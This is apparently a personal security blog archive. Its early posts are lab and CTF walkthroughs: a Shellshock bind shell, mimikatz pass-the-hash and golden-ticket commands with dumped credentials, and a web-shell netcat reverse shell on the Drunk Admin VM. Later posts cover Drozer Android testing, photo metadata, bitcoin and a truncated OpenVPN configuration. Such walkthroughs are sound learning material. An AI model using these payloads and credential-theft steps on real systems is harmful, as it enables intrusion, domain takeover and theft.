Exploiting Shellshock - Pentesterlab.com

I like to keep my skills sharp, often, I find myself downloading VM from vulnhub.com but often I spend more time fixing or trying to get the VM running rather than actually practicing pentesting. Then, I found this site; www.pentesterlab.com. The material is very well organized with videos and explanation on solving each puzzle/challenge. I especially like the fact I can download the iso into my vmware and get it running without problems.

I'm working my way in the Essential lab at the moment, here is a sample exercise I got permission by Louis Nyffenegger to repost.

CVE-2014-6271/Shellshock

This is not a new vulnerability, it was reported some years back and it hit practically any Linux or Unix Operating System that was running bash. It is a simple vulnerability to exploit, you just need a web browser and an app proxy such as burp.

Here I am just going to give a summary of how to exploit a linux webserver running cgi app. Note, that shellshock exploit vector is not limited to web alone, it can be done via ssh, telnet, some cases ftp. For this example, we will inject the vuln code via the user-agent header. You will need to intercept the request and send it to a repeater:

As you can see, on the right pane indicates some json formatted output of a linux server uptime. Also, the uri is pointing to a 'status' script. This is a good indicator for shellshock exploitation. Let's try to injecting a simple code into the user-agent header:

() { :;}; /sbin/ifconfig

I tried other commands such as whoami, id but it nothing appeared, that is why it is important to test different commands and see which ones work. With positive visual from the ifconfig cmd, I will now try to use netcat to listen at port 1234 on the victim machine :) Always remember to test the command with simpler flags to check it's working. Thankfully, this was a Linux box and usually nc supports the '-e' flag, most bsd variants don't. The complete command I used is:

() { :;}; /usr/bin/nc -lvp 1234 -e /bin/bash

The fact that the righ pane didn't return any results is a good sign, it means that the victim machine is executing netcat. Time to connect to it:

There you go! For more great web pentesting exercises like this. Please visit my friend; Louis Nyffenegger awesome website @ www.pentesterlab.com

GitHub Gist

I have some scripts at github gist if anyone is interested. You may visit it here.

Windows Credential Attack - Part 2

In my last post, I wrote about passing the hash using standard mimikatz tool. For this installment, I will demonstrate how to pass the ticket (ptt) using the same tool. PTT is a technique of backdooring a Windows Domain Controller(DC) permanently. Several advantages of PTT has over passing the hash (pth) is that it is very difficult to remove PTT backdoor because it is tied to the KRBTGT account that is built into Active Directory (AD). It was designed to manage the Kerberos Distribution Center; an essential component of Microsoft's entire single sign-on ecosystem. Resetting it will not remove it, neither will reinstalling/promoting a new DC using the same domain objects. Hence, why the name, 'golden ticket' was given. It also comes with default 'Domain Admin' privileges and 10 years validity period!!! You virtually have full control of  the domain/forest, allowing you to manipulate any objects managed by the DC. Also, the userid created using this technique is not listed in the standard AD listing! You practically have God-like control over the entire enterprise domain!

In a nutshell, what I did was identify and dump the hash that identifies KRBTGT. Created a malicious ticket called 'hacker4' associating it with the corresponding sid/domain. After which, I saved it and transfered it to 'client-pc' using netcat and loaded in back into memory. I did a short video to demonstrate a simple technique using a windows client pc (client-pc) and a Windows 2008 Domain Controller (server-dc). The tough job is obtaining SYSTEM privilege on server-dc to run mimikatz which is out of scope of this post.

Summary of commands:

Steps On server-dc

privilege::debug
lsadump::lsa /inject /name:krbtgt
kerberos::golden /admin:hackerboy /domain:bubblegum.com /sid:S-1-5-21-4052271652-3634189325-3875401421 /krbtgt:409adfdd28b38f3decff6609fe0a19a1 
nc 10.0.0.234 1234 < ticket.kirbi

Steps On the client-pc

nc -nlpv 1234 > ticket.kirbi
kerberos::ptt ticket.kirbi
psexec64 \\server-dc cmd.exe
whoami /groups

P.O.C Recording



* Caveat: I recommend to create golden ticket with the same name as the admin on the DC. Psexec64.exe can't seem to pass the ticket when the user you created on the DC doesn't match the ticket after reboot.

kerberos::golden /admin:administrator /domain:bubblegum.com /sid:xxxxx /krbtgt:xxxx

Windows Credential Attack

I've been reading about lateral movement lately, how attackers take advantage of the Microsoft's Active Directory technology to create 'backdoors' upon successfully infiltrating the network. Much has been said and written about it and we all have heard about the dreaded APTs (Advance Persistent Threat). These guys are supposed to be state sponsored and amongst the best in the world.

In my opinion, it's alot of hype. Anyone, can be an APT. You don't need to be state sponsored to launch an attack or infiltrate corporate systems. All you need is a good Internet connection and the willingness to learn and explore. I always said, even a 16 year old can be a hacker. The thing that differentiates a state sponsored attacker and a kid are his motivations. State sponsored hackers are also assumed to have deeper pockets, so having 0-day exploits in your arsenal is a definite advantage. Anyway, I'll leave this argument for another post. For this entry, I will talk about Windows credential attack.

The scenario will be post exploitation. Meaning, after the attacker has gained administrative privilege of a host in your organization. Next move will be to gain further access into the network. In a typical Windows environment, most PCs will be authenticated via AD (Active Directory) in a Domain Controller(DC), the Kerberos auth protocol is used to assign a validation ticket to the authenticated host. With this ticket, the host will be able to access other authenticated hosts in the same domain. The hashes and tickets can be reused by calling it directly from the host memory, disk or in some cases, the DC directly. There have been various articles about abusing Windows credentials namely Kerberos, my post will focus on passing the hash. Maybe in my next article we can also talk about abusing Kerberos and creating golden tickets.

The NTLM hashes are encryted in memory. A common technique used is to pass the hash(pth) over to the other hos but mimikatz does a great job at using a built in MS API to decrypt these hashes. 

Lets say super duper hacker has gain admin rights on Betty's PC and her PC happen to be part of the bubblegum domain. She happens to be the domain admin for co bubblegum.com. How convenient ;) For simplicity, we assume that Betty's PC was already breached and the attacker has local admin privilege. We'll upload mimikatz. There are also various tools that can call mimikatz functions so you don't necessary have to use mimikatz because some AVs flag mimikatz. So, if you are using metasploit, the metepreter session can invoke mimikatz functions, if you are also keen on powershells, there's even powerSploit scripts to invoke mimikatz functions.

For this example I am keeping it simple.We are just going to dump the encrypted hashes and pth it to the DC using psexec.

Dumping Hashes

1. Running mimikatz, check your privilege, you must have admin privilege on the host:

2. Dump the hashes in mem by running 'sekurlsa::logonpasswords. You should see all passwd hashes in mem, even decrypted ones!

Authentication Id : 0 ; 1192637 (00000000:001232bd)
Session           : Interactive from 3
User Name         : Administrator
Domain            : WIN
Logon Server      : WIN
Logon Time        : 11/25/2017 2:54:07 PM
SID               : S-1-5-21-185860677-232557259-2993331253-500
        msv :
         [00010000] CredentialKeys
         * NTLM     : 9213b0c8fd855c4ec0267f303a376f31
         * SHA1     : 749b4dae3da83473b0491e9fab0bf151c932374a
         [00000003] Primary
         * Username : Administrator
         * Domain   : WIN
         * NTLM     : 9213b0c8fd855c4ec0267f303a376f31
         * SHA1     : 749b4dae3da83473b0491e9fab0bf151c932374a
        tspkg :
        wdigest :
         * Username : Administrator
         * Domain   : WIN
         * Password : !qwerty123
        kerberos :
         * Username : Administrator
         * Domain   : WIN
         * Password : (null)
        ssp :
        credman :


Authentication Id : 0 ; 1505847 (00000000:0016fa37)
Session           : Interactive from 1
User Name         : betty
Domain            : BUBBLEGUM
Logon Server      : WINDC01
Logon Time        : 11/25/2017 3:14:56 PM
SID               : S-1-5-21-185860677-232557259-2993331253-1000
        msv :
         [00000003] Primary
         * Username : betty
         * Domain   : BUBBLEGUM
         * NTLM     : 9213b0c8fd855c4ec0267f303a376f31
         * SHA1     : 749b4dae3da83473b0491e9fab0bf151c932374a
         [00010000] CredentialKeys
         * NTLM     : 9213b0c8fd855c4ec0267f303a376f31
         * SHA1     : 749b4dae3da83473b0491e9fab0bf151c932374a
        tspkg :
        wdigest :
         * Username : betty
         * Domain   : BUBBLEGUM
         * Password : !kldsljds
        kerberos :
         * Username : betty
         * Domain   : BUBBLEGUM.COM
         * Password : (null)
        ssp :
        credman :

<snip-------snip>

The above output shows 2  credentials, administrator and betty. Notice that the administrator domain is WIN and betty belongs to bubblegum.com. Our target is the bugglegum.com domain, and we happen to obtain the passwd in plain text!

Passing the Hash

3.  We would now like to pass the hash using betty's credentials using pth function built into mimikatz, if you see another cmd.exe prompt pop up, it means the credentials worked!

4. Now, let's try to pass this hash to the DC server from Betty's PC. I simply pass the hash dump from her PC to the DC. Remember, you'll need psexec.exe on Betty's PC. This can be downloaded from MS website, here. The command I issue on Betty's machine using mimikatz is:

sekurlsa::pth /user:betty /domain:bubblegum /ntlm:9213b0c8fd855c4ec0267f303a376f31 /run:".\psexec64.exe \\10.0.0.1 -h cmd.exe"

If the cmd.exe successfully executes, you should see a second prompt! Sometimes, this takes a while for psexec to spawn  cmd.exe so be patient.

Notice that psexec64.exe has executed cmd.exe and hostname and whoami cmds show that you are now on the DC as Betty. In my next article, I will cover how to dump the DC credentials and creating the golden ticket ;-)

Stay tuned folks!

Drunk Admin Challenge

Time for another VM ctf challenge, I often find difficulties finding a good boot to root VM, either the image is too slow to download, doesn't work, doesn't connect to the network, blah blah. Often or not, I find myself troubleshooting the VM than pentesting. I was lucky enough to get this challenge working on my vmware workstation. It is mainly an application pentest and was very educational experience. You can d/l the challenge from vulnhub.

1. Firstly, portscan the target. Found only 2 ports open, not much but usually http ports are gold mines! So if you see one, explore it immediately.

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 5.5p1 Debian 6+squeeze1 (protocol 2.0)
| ssh-hostkey: 
|   1024 57:a2:04:3d:6e:e5:01:7b:b4:c6:e5:f9:76:25:8a:8a (DSA)
|_  2048 66:9a:ee:a2:2a:1a:59:47:b9:c5:50:da:a6:96:76:16 (RSA)
8880/tcp open  http    Apache httpd 2.2.16 ((Debian))
|_http-server-header: Apache/2.2.16 (Debian)

2. Port 8880 reveals an image upload tool:

3. Explore it a bit to find that it accepts only image files for display and converts it into md5 hash, files are stored in the images directory as you can see from the image property dialog.

4. I tried to upload several canned php files but it got rejected. Fired up burpsuite to explore how the mechanism behind this rejection works, sent requests to the repeater.

5. Seems like we are able to trick it by extending the file twice! But any script (be it php, bash, nc, etc) will get rejected again! Seems like there is some backend code that filters certain key words from my script. Finally found a php code snippet that wasn't filtered, instead of using the usual $_GET statement, I used the $_REQUEST in php.

6.  From here, I can pass arguements directly into my php script. I decided to use netcat to reverse back to my host, luckily enough it supported the -e flag, most linux netcats do but not BSDs.

http://192.168.0.152:8880/images/178eaa4e889ab53ce844344ffc945171?cmd=nc%20-e%20/bin/bash%20192.168.0.115%201234

Remember to have a netcat listener on the other end waiting to catch your shell:

# nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.0.115] from (UNKNOWN) [192.168.0.152] 53197
ls
178eaa4e889ab53ce844344ffc945171.php
1c2ef37a0744cfda7445d3b9fc19a79a.php
1e5608a13dcfe96b1d85a5de98db59d2.png
3208fd203ca8fdfa13bc98a4832c1396.gif
3df5758863d650e59525cf2aa0676230.png
4c68c46f43183b9789860c8a8d6cb5a0.php
72e334fc2377e9bdfa97d50bd4d14120.gif
7cb21b9ceb02fe655f8530fb8fa17338.png
8dc053a3ed0adf03994f96347d20d9e5.png
a764b0164c364725dc5b775d88bc6057.png
aa63b1c597b45e4f1f883724d0f8dfbe.jpg
d38dd53a79f0ce66874082df5a6978df.gif
index.html
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/var/www/images
uname -a
Linux drunkadm 2.6.32-5-686 #1 SMP Mon Jan 16 16:04:25 UTC 2012 i686 GNU/Linux

7. I don't like half baked shells, fire up python tty spawn for a better shell, see pentestmonkey one liners.

python -c 'import pty;pty.spawn("/bin/bash")'
www-data@drunkadm:/var/www/images$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

8. Look around the system for the flag. Found a hidden proof.txt file.

www-data@drunkadm:/var/www$ cd /var/www/
cd /var/www/
www-data@drunkadm:/var/www$ ls -al
ls -al
total 48
drwxr-xr-x  4 root root     4096 Apr  2  2012 .
drwxr-xr-x 14 root root     4096 Mar  3  2012 ..
-rw-r--r--  1 root root      217 Mar  3  2012 .htaccess
-rw-r--r--  1 root root      322 Mar  6  2012 .proof
-rw-r--r--  1 root root     2683 Mar  7  2012 image.php
drwxrwxr-x  2 root www-data 4096 Sep  9 18:28 images
-rw-r--r--  1 root root     1981 Mar  4  2012 index.php

9. This file is a little conversation between bob and someone, there's an encoded text too, looks like base64 encoded.

www-data@drunkadm:/var/www$ cat .proof
cat .proof
#########################
# Drunk Admin Challenge #
#     by @anestisb #
#########################

bob> Great work.
bob> Meet me there.
...> ?
bob> What? You don't know where?
bob> Work a little more your post
     exploitation skills.

Secret Code:
TGglMUxecjJDSDclN1Ej

Mail me your methods at:
anestis@bechtsoudis.com

10. Lets decode it:

# echo "TGglMUxecjJDSDclN1Ej" | base64 -d
Lh%1L^r2CH7%7Q#

11. Poked around bob's home directory to find an encrypt.php page! Insert the decoded msg for the final output:

Alice, prepare for a kinky night. Meet me at '35.517286' '24.017637'

Well, this was a good challenge. Lots of people have solved this puzzle before me. I have to admit, I had some help from their walkthrus but never the less, it was an educational experience for me.

Android Pen Test Part II

This is part II of my walkthru of pentesting Android Apps using Drozer. In case you haven't read the first part, here. Please go thru it as I had covered how to connect the emulator or Android device to a host with the use of adb. The idea of using Drozer is to test the IPC processes between apps, akin to testing east and west communications. Much of my walkthru was taken from the Drozer user guide, here. My intention of documenting it is for my reference and document some idea of how basic dynamic analysis is performed on Android apps.

1. Download Sieve apk
2. Install Drozer agent on the device or emulator
3. Install Sieve and configure some passwords
4. Start Drozer agent
5.  List devices that are connected, emulator or physical device:
# adb devices
List of devices attached
G6AZCY03R9063SF    device

6. Fwd the connection from device to host 
# adb forward tcp:31415 tcp:31415

7. Start Drover server
# drozer console connect
Selecting 71cf13dc4e2c532c (asus ASUS_Z012D 7.0)

            ..                    ..:.
           ..o..                  .r..
            ..a..  . ....... .  ..nd
              ro..idsnemesisand..pr
              .otectorandroidsneme.
           .,sisandprotectorandroids+.
         ..nemesisandprotectorandroidsn:.
        .emesisandprotectorandroidsnemes..
      ..isandp,..,rotectorandro,..,idsnem.
      .isisandp..rotectorandroid..snemisis.
      ,andprotectorandroidsnemisisandprotec.
     .torandroidsnemesisandprotectorandroid.
     .snemisisandprotectorandroidsnemesisan:
     .dprotectorandroidsnemesisandprotector.

drozer Console (v2.3.4)
dz>

7. Check for pakage sieve:
dz> run app.package.list -f sieve
com.mwr.example.sieve (Sieve)

8.  Check package info:
dz> run app.package.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
  Application Label: Sieve
  Process Name: com.mwr.example.sieve
  Version: 1.0
  Data Directory: /data/user/0/com.mwr.example.sieve
  APK Path: /data/app/com.mwr.example.sieve-1/base.apk
  UID: 10199
  GID: [3003]
  Shared Libraries: null
  Shared User ID: null
  Uses Permissions:
  - android.permission.READ_EXTERNAL_STORAGE
  - android.permission.WRITE_EXTERNAL_STORAGE
  - android.permission.INTERNET
  Defines Permissions:
  - com.mwr.example.sieve.READ_KEYS
  - com.mwr.example.sieve.WRITE_KEYS

9. Check the attack surface:
dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
  3 activities exported
  0 broadcast receivers exported
  2 content providers exported
  2 services exported
    is debuggable

Now, the activities are the pages available on the app. The Broadcast is the advertised msg that sieve sends to other apps, the content is basically the database and the sevices are the background functions by this app. Debugable is good news since it means we can step thru the code once adb is attached.

10. Check the type of activities that are exportable:
dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
  com.mwr.example.sieve.FileSelectActivity
    Permission: null
  com.mwr.example.sieve.MainLoginActivity
    Permission: null
  com.mwr.example.sieve.PWList
    Permission: null

11. Looks like the PWList can be exported!! Lets try and start it:
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

12. On the emulator, you should see the screen pop up with the PWList page!

13. Now, time to probe the database! Lets see what we can find in the exported content using Drozer scanner:
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query  content://com.mwr.example.sieve.DBContentProvider/
Unable to Query  content://com.mwr.example.sieve.FileBackupProvider/
Unable to Query  content://com.mwr.example.sieve.DBContentProvider
Able to Query    content://com.mwr.example.sieve.DBContentProvider/Passwords/
Able to Query    content://com.mwr.example.sieve.DBContentProvider/Keys/
Unable to Query  content://com.mwr.example.sieve.FileBackupProvider
Able to Query    content://com.mwr.example.sieve.DBContentProvider/Passwords
Unable to Query  content://com.mwr.example.sieve.DBContentProvider/Keys

Accessible content URIs:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Passwords/

14. Looks like there are 3 accessible contents:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords
| _id | service   | username  | password                                                  | email                  |
| 1   | maybank2u | johnlee   | MaKVa1uGBpBHMFcRAdm8m1iXBUHVOmxYjCchfQ== (Base64-encoded) |                        |
| 2   | ambank    | saralee   | Nu7NYGzevKQflz3Mb6Ul/XKEpnyPHlcjqhM= (Base64-encoded)     | saralee@fee.com        |
| 3   | yahoomail | tasha.fox | ysG1+0SFpdMpwJ/nCVBci+T9bX/+mA== (Base64-encoded)         | tasha.fox@yahoo.com.my |

15. Using base 64 decoder, you should be able to decode those passwords easily.

16. Lets look for sql injection vulnerabilities in the db:

dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Not Vulnerable:
  content://com.mwr.example.sieve.DBContentProvider/Keys
  content://com.mwr.example.sieve.DBContentProvider/
  content://com.mwr.example.sieve.FileBackupProvider/
  content://com.mwr.example.sieve.DBContentProvider
  content://com.mwr.example.sieve.FileBackupProvider

Injection in Projection:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Passwords/

Injection in Selection:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Passwords/

17. From here, you can use the app.provider.query to perform SQLi. Most of these steps are outline in the Drozer user guide.

The above steps represent a summary walkthru of using Drozer to test inter processes communication (IPC) between apps. It is merely a small slice of the application pen test suit. There are other vulnerable apps out there for educational purposes such as GoatDroid for those that are interested to pursue it further. Also, check out OWASP Mobile Security Testing Guide.

In part 3, I will cover another method of pentesting. This time I will attempt to use an application proxy such as Burp to intercept http requests to dissect client server communication.

Android Penetration Testing - Part 1

Mobile apps are all the rage these days! People are using mobile apps for everything from banking to transferring money to finding dates online. The security aspect of these apps is still in its infancy. Where most pentesters are accustomed to hacking web apps, mobile apps are rather unique in a way because the Android OS is built differently than a PC OS. The highly sandboxed environment enables virtualization of any apps that run on it. Thus, each app is protected and has limited access to the underlying hardware abstract layer. In my 3 part series, I will approach hacking Android mobile apps by first introducing the adb connector and running an emulated version of Android. In my next series, I will run thru the steps of using drozer to do dynamic analysis using a vulnerable app for practice.

Pentesting mobile apps on Android Operating System requires you to interact directly with the mobile device or via an emulator. The adb (android debugger bridge) utility allows you to do just that, it is included in the android-sdk package on Linux. You can download it here or run:

# apt-get install android-sdk

The adb command is in the ~/android-sdk/platform-tools/ directory, you can just do a:

# ln -s ~/android-sdk/platform-tools/adb /usr/local/bin/adb

Once you have it installed, run the command:

# adb
Android Debug Bridge version 1.0.39
Revision 3db08f2c6889-android
Installed as /mnt/sdb3/android-sdk/platform-tools/adb

global options:
....
....

Now, you have 2 options:

1. Run the Android SDK Android Virtual Device Manager(AVD) to emulate a virtual Android device on your PC.
OR
2. Plug your phone directly into the PC with a usb cable.

Since I don't wanna screw my real device up, I'll opt for the emulator option, that way any mistake I make, I can just revert the emulator. It's sort of like running a Virtual Machine for Androids. 

The AVD is in the ~/android-sdk/tools/android. Just symbolic link it to your /usr/local/bin for convenience.

# ln -s ~/android-sdk/tools/android /usr/local/bin/android

Now execute 'android':

Next, make sure you install the required Android API, eg if you intend to create an Andoird 4.4.2 (API 19), check it and install.

Create your Virtual Device and select the appropriate settings:

Your Android Virtual Device should look like this:

Now, it is time to connect to this emulator via adb. Take note of the port assigned, in this case 5554. You are going to use adb to connect to it

Follow these instructions:

1. Enable USB Debugging on the emulator, just like you would do on a real device, go to settings, tap on build no 5 times then go to developer settings and check usb debugging.

2. Use adb to list the devices ready:
# adb devices
List of devices attached
emulator-5554    device

This means you are connected to the Android emulator! In my next article, we will cover how to use Drozer to start the penetration test on a vulnerable app.

Happy hacking folks! :-)

Location Service in Pictures

Background

Posting pictures on social media is the trend these days. People like to show off their lifestyle, kids, vacations, material possessions, spouses, gf/bf/etc. While it is entirely an individual choice to do so, not many people are aware that pictures taken with mobile apps have built-in location services. Usually, these apps prompt the user with an option to either activate or deactivate it. There are sneaky apps that don't. Some can even activate it without your consent and sneakishly deactivate after you used it, however, this is no longer possible with newer versions of Android as Google has disallowed apps to directly access GPS service. Beware, there are apps available in the play store posing as legitimate ones. Though you are more likely to pick up malware from 3rd party sites. In case of iOS, the chance is less since 3rd party apps are not available on Apple phones.

What is Location Service?

Location service is basically GPS coordinates mapped onto a geographical map. Almost all mobile devices now have GPS chips built into it. People switch on GPS when using Waze or Google maps. Modern GPS locks on to 4 low orbiting satellites to home in your precise location and is accurate up to 4 meters! In the past, such accuracy was only available to the military. But these days, it is free for anyone. Google location service collates information from 3 different sources:

1. GPS - which is the primary choice and the most accurate.
2. WiFi Signal - accuracy depends on the signal strength, Google keeps a location list of common public hotspots such as airports, train terminals, Starbucks outlets around the world.
3. Cellular Base Station Transmission - accurate up to few hundred meters. Based on site triangulation of recipients' signal strength relative to the distance between 1 or more base stations.

Location Service Dissected

In this article, I will explain how to detect location services in your pictures. Such data is also referred as metadata, or data about data. Firstly, lets take a photo with a location service turned ON.

Picture above was taken with Location Service turned ON

Most modern Operating Systems are able to detect metadata tags embedded in popular picture formats such as jpeg, gif, tiff, png and bmp. Here's an example of a GPS coordinate in a picture detected using Windows:

On Android:

Extensive metadata can be read using an EXIF tool. Here's a sample of metadata detected on Linux:

Who and Why Do We need Such Service?

From a commercial point of view, such information is useful for marketing purposes. Mobile apps are not free without a reason. There must be some commercial returns for providing a 'free' service. How do you think Google, FaceBook, Instagram, Twitter make so much $$$$? Whatever information you post, are stored for analytics on their servers. We are talking about terabytes of data from around the world! It can be used to create targeted advertisements based on individual preferences. Imagine, if you knew your customers precise location, favourite food, hangout spots, clothes, shopping behaviour, names, age, etc. They virtually know what products and services to entice you. These companies know alot about you than you are consciously aware. Location Service is just the tip of the iceberg. For example, Google & FB have been around for at least a decade, we have our emails, pictures, practically our whole life story stored on their servers! These giants also acquire other companies. A good example was the acquisition of Instagram & Waze by FB and Google respectively. So now, they also know where you travel and what you see! Reminds me of Skynet in the Terminator movie!

How To Protect Myself?

Unless you are a criminal or someone wanted, I wouldn't be too worried about your personal information being mined, afterall it is primarily for commercial purposes. But I would be careful of over exposing your personal information for everybody to see. These companies are usually govern by local privacy laws, depending on which country you live in, your personal information should be protected. However, that doesn't mean you should happily post information that can further incriminate you. Such as posting picture of your kids schools, your private residence, car registration, social security id, passport, banking details, etc. One very important step before you install any mobile app, is to check its permission settings. On Android, this can be seen in Settings - Apps - Apps Info. See screenshot below:

Note that the above app needs location service and camera permission. That means it can activate your phone's camera and GPS when needed ;-) where possible, you may opt to deactivate some of these permissions but your app might complain or cease to function. The final decision to install the app is up to you, if you are confident that the app is trusted, by all means, go ahead and install it.

Screenshot Depicts the App Permission Settings which can be changed

Summary

The world is becoming smaller, with the advert of social media and the Internet, we are certainly more connected. Practising self censorship and user discretion is imperative in creating a safer world. Remember, information security is everyone's responsibility and it is our responsibility to educate the people that we love.

What's The Fuss With Bitcoins?

Bitcoins are the rage now. People are talking about the crypto currency and are buying it in the hopes that the value will increase in the future. So what's bitcoin? To sum it out, bitcoin is a virtual currency created by a mysterious person by the name of Satoshi Nakamoto, no one really knows his real identify, though, there have been documented cases of 'him' being arrested in Australia.

Basically, bitcoin is a a product of a computed algorithm with a finite value. Its value is determine by general supply and demand. While there is no central orginization that governs it, its value is mined by computers participating (known as Blockchain) around the world. When it was first intercepted, it was easy to compute/mine a bitcoin but over the years, its algorithm has computationally increased, thus, making it more difficult to create. This was done by design, to control its value. Anyone that wishes to trade in bitcoin will have an electronic wallet that is protected by a private key with passphrase. It can be stored offline on am usb drive or online with a bitcoin exchange service. When a transaction is made, all computers that are in the blockchain will update its individual ledger. It is akin to everyone in the room updating their 'I owe you' books. For example, you borrow Jim 1 dollar, everyone in the room will take note of it and when you pay him back, they will make note of it again. In order to mine more bitcoins, computers in this blockchain will have to compute an algorithm to validate these transactions. These 'miners', will be rewarded with a bitcoin value.

Some people predict that bitcoin value will increase in the future, what makes it more attractive is that more and more merchants on the Internet are accepting bitcoins for payment of goods and services. There are also bitcoin 'exchange' services on the net that provides conversions of bitcoin to currency for a small service fee.

From a security perspective,  bitcoin provides anonymity as you do not need to reveal your personal identity to be part of it blockchain. Every wallet is identified by a computed hash value. However, be sure to protect your bitcoin wallet, never fully trust bitcoin exchanges with your private key. If someone gets hold of it, he can make transactions using your wallet. There was a recent case of a bitcoin exchanged hacked, as a result, many people incurred losses.

Setting Up Your Own VPN Server

In my last article, I touched on protecting your data. One of the suggested mitigation is to encrypt data during transmission. Anytime after you connect to an untrusted network such as a public wifi hotspot, you should turn on VPN immediately. In my article today, I will describe the steps to setup your own VPN server. I recommend to setup your own server rather than purchase VPN services off the net because you will have more control over the encryption level and granularity of its logs. Beware, some free VPN services keep logs of your connections for commercial purposes. Also, some VPN services are configured with weak encryption or incorrect configurations that can lead to unwanted data leaks.

The OpenVPN package is an open source solution and is free. Firstly, you will need to find a VPS(Virtual Private Server) that supports TUN(Tunneling). I recommend vpscheap. The Internet speed is fast and they don't limit your bandwidth.

VPS Configuration

Firstly, check the TUN/TAP option ON in Control Panel:

Once that is done, you will need to login to your VPS Operating System. I recommend Ubuntu 14 64bit. I won't cover the steps on setting it up here as it is quite straight forward once you have bought a vps subscription.

OpenVPN Server installation
On the operating system of your choice, install openvpn using the root account:

1. apt-get update
2. apt-get install openvpn

OpenVPN Server configuration

Now, create a simple config file:

# Which local IP address should OpenVPN

# listen on? (optional)

local xxx.xxx.xxx <-- your server ip addr here

# Which TCP/UDP port should OpenVPN listen on?

# If you want to run multiple OpenVPN instances

# on the same machine, use a different port

# number for each one.  You will need to

# open up this port on your firewall.

port 1194

# TCP or UDP server?

proto udp

# "dev tun" will create a routed IP tunnel,

# "dev tap" will create an ethernet tunnel.

# Use "dev tap0" if you are ethernet bridging

# and have precreated a tap0 virtual interface

# and bridged it with your ethernet interface.

# If you want to control access policies

# over the VPN, you must create firewall

# rules for the the TUN/TAP interface.

# On non-Windows systems, you can give

# an explicit unit number, such as tun0.

# On Windows, use "dev-node" for this.

# On most systems, the VPN will not function

# unless you partially or fully disable

# the firewall for the TUN/TAP interface.

;dev tap

dev tun

# Windows needs the TAP-Win32 adapter name

# from the Network Connections panel if you

# have more than one.  On XP SP2 or higher,

# you may need to selectively disable the

# Windows firewall for the TAP adapter.

# Non-Windows systems usually don't need this.

;dev-node MyTap

# SSL/TLS root certificate (ca), certificate

# (cert), and private key (key).  Each client

# and the server must have their own cert and

# key file.  The server and all clients will

# use the same ca file.

#

# See the "easy-rsa" directory for a series

# of scripts for generating RSA certificates

# and private keys.  Remember to use

# a unique Common Name for the server

# and each of the client certificates.

#

# Any X509 key management system can be used.

# OpenVPN can also use a PKCS #12 formatted key file

# (see "pkcs12" directive in man page).

ca ca.crt

cert cert.crt

key secret.key  # This file should be kept secret

# Diffie hellman parameters.

# Generate your own with:

#   openssl dhparam -out dh1024.pem 1024

# Substitute 2048 for 1024 if you are using

# 2048 bit keys. 

dh dh2048.pem

# Configure server mode and supply a VPN subnet

# for OpenVPN to draw client addresses from.

# The server will take 10.8.0.1 for itself,

# the rest will be made available to clients.

# Each client will be able to reach the server

# on 10.8.0.1. Comment this line out if you are

# ethernet bridging. See the man page for more info.

server 10.8.0.0 255.255.255.0

# Maintain a record of client <-> virtual IP address

# associations in this file.  If OpenVPN goes down or

# is restarted, reconnecting clients can be assigned

# the same virtual IP address from the pool that was

# previously assigned.

ifconfig-pool-persist ipp.txt

# Configure server mode for ethernet bridging.

# You must first use your OS's bridging capability

# to bridge the TAP interface with the ethernet

# NIC interface.  Then you must manually set the

# IP/netmask on the bridge interface, here we

# assume 10.8.0.4/255.255.255.0.  Finally we

# must set aside an IP range in this subnet

# (start=10.8.0.50 end=10.8.0.100) to allocate

# to connecting clients.  Leave this line commented

# out unless you are ethernet bridging.

;server-bridge 10.8.0.4 255.255.255.0 10.8.0.50 10.8.0.100

# Configure server mode for ethernet bridging

# using a DHCP-proxy, where clients talk

# to the OpenVPN server-side DHCP server

# to receive their IP address allocation

# and DNS server addresses.  You must first use

# your OS's bridging capability to bridge the TAP

# interface with the ethernet NIC interface.

# Note: this mode only works on clients (such as

# Windows), where the client-side TAP adapter is

# bound to a DHCP client.

;server-bridge

# Push routes to the client to allow it

# to reach other private subnets behind

# the server.  Remember that these

# private subnets will also need

# to know to route the OpenVPN client

# address pool (10.8.0.0/255.255.255.0)

# back to the OpenVPN server.

;push "route 192.168.10.0 255.255.255.0"

;push "route 192.168.20.0 255.255.255.0"

# To assign specific IP addresses to specific

# clients or if a connecting client has a private

# subnet behind it that should also have VPN access,

# use the subdirectory "ccd" for client-specific

# configuration files (see man page for more info).

# EXAMPLE: Suppose the client

# having the certificate common name "Thelonious"

# also has a small subnet behind his connecting

# machine, such as 192.168.40.128/255.255.255.248.

# First, uncomment out these lines:

;client-config-dir ccd

;route 192.168.40.128 255.255.255.248

# Then create a file ccd/Thelonious with this line:

#   iroute 192.168.40.128 255.255.255.248

# This will allow Thelonious' private subnet to

# access the VPN.  This example will only work

# if you are routing, not bridging, i.e. you are

# using "dev tun" and "server" directives.

# EXAMPLE: Suppose you want to give

# Thelonious a fixed VPN IP address of 10.9.0.1.

# First uncomment out these lines:

;client-config-dir ccd

;route 10.9.0.0 255.255.255.252

# Then add this line to ccd/Thelonious:

#   ifconfig-push 10.9.0.1 10.9.0.2

# Suppose that you want to enable different

# firewall access policies for different groups

# of clients.  There are two methods:

# (1) Run multiple OpenVPN daemons, one for each

#     group, and firewall the TUN/TAP interface

#     for each group/daemon appropriately.

# (2) (Advanced) Create a script to dynamically

#     modify the firewall in response to access

#     from different clients.  See man

#     page for more info on learn-address script.

;learn-address ./script

# If enabled, this directive will configure

# all clients to redirect their default

# network gateway through the VPN, causing

